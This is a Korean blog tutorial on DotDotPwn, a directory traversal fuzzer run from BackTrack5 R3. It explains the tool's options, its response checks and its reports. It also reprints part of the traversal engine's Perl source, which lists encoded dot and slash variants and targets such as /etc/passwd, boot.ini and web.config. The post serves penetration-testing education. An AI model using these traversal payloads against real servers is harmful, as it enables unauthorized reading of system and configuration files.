※ 주의사항 아래 내용은 연구 목적으로 작성된 것이며, 허가 받지 않은 공간에서는 테스트를 절대 금지합니다. 악의 적인 목적으로 이용할 시 발생할 수 있는 법적 책임은 자신한테 있습니다. 이는 해당 글을 열람할 때 동의하였다는 것을 의미합니다. "정보통신망 이용촉진 및 정보보호 등에 관한 법률" 정당한 접근권한이 없거나 허용된 접근 권한의 범위를 초과하여 정보통신망에 침하는 행위를 금지한다.(48조 1항) 위반하면 3년 이하의 징역 또는 3000만원 이한의 벌금에 처한다.(63조 1항 1호) 주요 정보통신기반시설을 침해하여 교란·마비 또는 파괴한 자는 10년 이하의 징역 또는 1억 원 이하의 벌금에 처하도록 규정하고 있다(28조 1항). 또 형법에서도 컴퓨터 등 정보처리장치에 허위의 정보 또는 부정한 명령을 입력하거나 그밖의 방법으로 정보처리에 장애를 발생하게 한 자는 업무방해죄로 5년 이하의 징역 또는 1500만 원 이하의 벌금에 처하도록 규정하고 있다(314조 2항). 아래와 관련하여, 보안프로젝트(http://www.boanproject.com)에서 더욱더 자세하고 다양한 연구 및 분석 되고 있습니다. 아래와 관련하여, 보안프로젝트 팀블로그 (http://boanproject.tistory.com)에서 연구 / 분석 내용 및 번역 문서가 배포 되고 있습니다. |
개요
DotDotPwn은 디렉터리 접근 공격 퍼저 (Directory Traversal Fuzzer)로, HTTP / FTP / TFTP 서버, CMS, ERP, 블로그 등의 웹 플랫폼의 디렉토리를 탐색 취약점을 발견하기 위해 사용하는 도구이다.
펄 프로그래밍 언어로 작성되어 있으며, Fuzzing에 사용되는 모듈은 아래와 같다.
- HTTP
- HTTP URL
- FTP
- TFTP
- Payload (Protocol independent)
- STDOUT
테스트 환경
운영 체제 (OS) : BackTrack5 R3 사용된 도구 버전 : DotDotPwn v3.0 |
상세 분석
간단하게 DotDotPwn을 테스트 해보자. 테스트에 사용된 옵션은 [-m] [-O] [-s] [-u] [-k] [-b]이다.
사용된 모듈은 http-url 모듈이다. http-url 모듈은 HTTP Parameters module이라 하며, 이 모듈에서는 탐색 엔진에 의해 만들어진 Fuzzer패턴에 의해 제공되는 URL 탐색 토큰을 대체하는 기능이 존재한다. 일단 기본 패턴을 대상에게 보낸 후 모듈은 응답을 기다리며, 서버의 응답에 문자열 패턴의 매개 변수 (-K 옵션으로 지정한 문자열) 존재를 확인하는지확인 한다. [-O] 옵션을 지정하여, NMAP을 이용하여, 대상 서버의 OS정보를 획득하고, [-s] 옵션으로 대상 서버에서 오는 응답의 배너를 확인하여, 서비스의 버전을 확인 한다.
모든 옵션을 적용하고, 엔터를 누르게 되면 아래와 같이 옵션으로 확인할 수 있는 정보들을 표시해 준다. 이후 사용자로 하여금 계속 진행 할 것인지 아닌지를 묻는다. 계속 진행 하고자 한다면, [Enter] 눌려주면되고 취소 하고 싶다면 [Ctrl + c]를 눌러 취소하면 된다.
[Enter]를 눌러주면 DotDotPwn은 엔진 파일인 TraversalEngine.pm을 이용하여, 디렉토리 접근 취약점을 점검한다. TraversalEngine.pm 파일을 일부 살펴 보면 아래와 같다.
package DotDotPwn::TraversalEngine; use Exporter 'import'; @EXPORT = qw(TraversalEngine); use Switch; # Traversal strings to be returned (and after, launched against the target). my @Traversals; my @Windows_files = ("boot.ini", "\\windows\\system32\\drivers\\etc\\hosts"); my @Unix_files = ("/etc/passwd", "/etc/issue"); # "/etc/motd", /etc/issue.net"); YOU CAN ALSO ADD THESE AND MORE UNDER YOUR CONSIDERATION # Extra files (only included if -E switch is enabled) my @Extra_files = ("config.inc.php", "web.config"); YOUR CONSIDERATION # Dots (..) representations to be combined in the Traversal Engine our @Dots = ("..", "..%01", ".?", "??", "?.", ".%2e", "%2e.", ".../.", "..../", "%2e%2e", "%c0%6e", "0x2e0x2e", "%c0.%c0.", "%252e%252e", "%c0%2e%c0%2e", "%c0%ae%c0%ae", "%c0%5e%c0%5e", "%c0%ee%c0%ee", "%c0%fe%c0%fe", "%uff0e%uff0e", "%%32%%65%%32%%65", "%e0%80%ae%e0%80%ae", "%25c0%25ae%25c0%25ae", "%f0%80%80%ae%f0%80%80%ae", "%f8%80%80%80%ae%f8%80%80%80%ae", "%fc%80%80%80%80%ae%fc%80%80%80%80%ae"); # Slashes (/ and \) representations to be combined in the Traversal Engine our @Slashes = ("/", "\\", "%2f", "%5c", "0x2f", "0x5c", "%252f", "%255c", "%c0%2f", "%c0%af", "%c0%5c", "%c1%9c", "%c1%pc", "%c0%9v", "%c0%qf", "%c1%8s", "%c1%1c", "%c1%af", "%bg%qf", "%u2215", "%u2216", "%uEFC8", "%uF025", "%%32%%66", "%%35%%63", "%e0%80%af", "%25c1%259c", "%25c0%25af", "%f0%80%80%af", "%f8%80%80%80%af"); |
위에서 보듯이 도트(.)와 슬래시 (/) 패던, 각 서버군에서 특정 파일명들을 지정해 놓았다. 지정해 놓은 패턴을 이용하여, 점검 패턴을 만들어 아래와 같이 순차적으로 대상 서버에 보낸다.
DotDotPwn은 대상 서버로 부터 돌아오는 응답코드 200OK를 확인하여, 디렉토리 접근 취약점이 존재하는지 판단한다. DotDotPwn이 대상 서버에 대해 점검이 완료되면 아래와 같이 결과를 보여주며, 레포트 파일을 저장한다. (필자는 [-b] 옵션을 사용하여, 디렉토리 접근 취약점이 처음 발견되면, 정지하도록 하였다.)
레포트 파일은 /pentest/web/dotdotpwn/Reports에 존재하며, 파일을 열어 보면 아래와 같이 대상 서버의 정보와 디렉토리 접근 취약점에 의해 확인된 내용이 저장되어 있다.
'Open Source > BackTrack' 카테고리의 다른 글
BackTrack 내용 중 출판될 책에 포함된 내용은 비공개 처리 (0) | 2013.06.11 |
---|---|
[BackTrack5 R3] Creddump (0) | 2013.03.04 |
[BackTrack5 R3] Rainbowcrack (0) | 2013.02.21 |
[BackTrack5 R3] Wifi-Honey (0) | 2013.02.19 |
[BackTrack5 R3] HTExploit (0) | 2013.02.14 |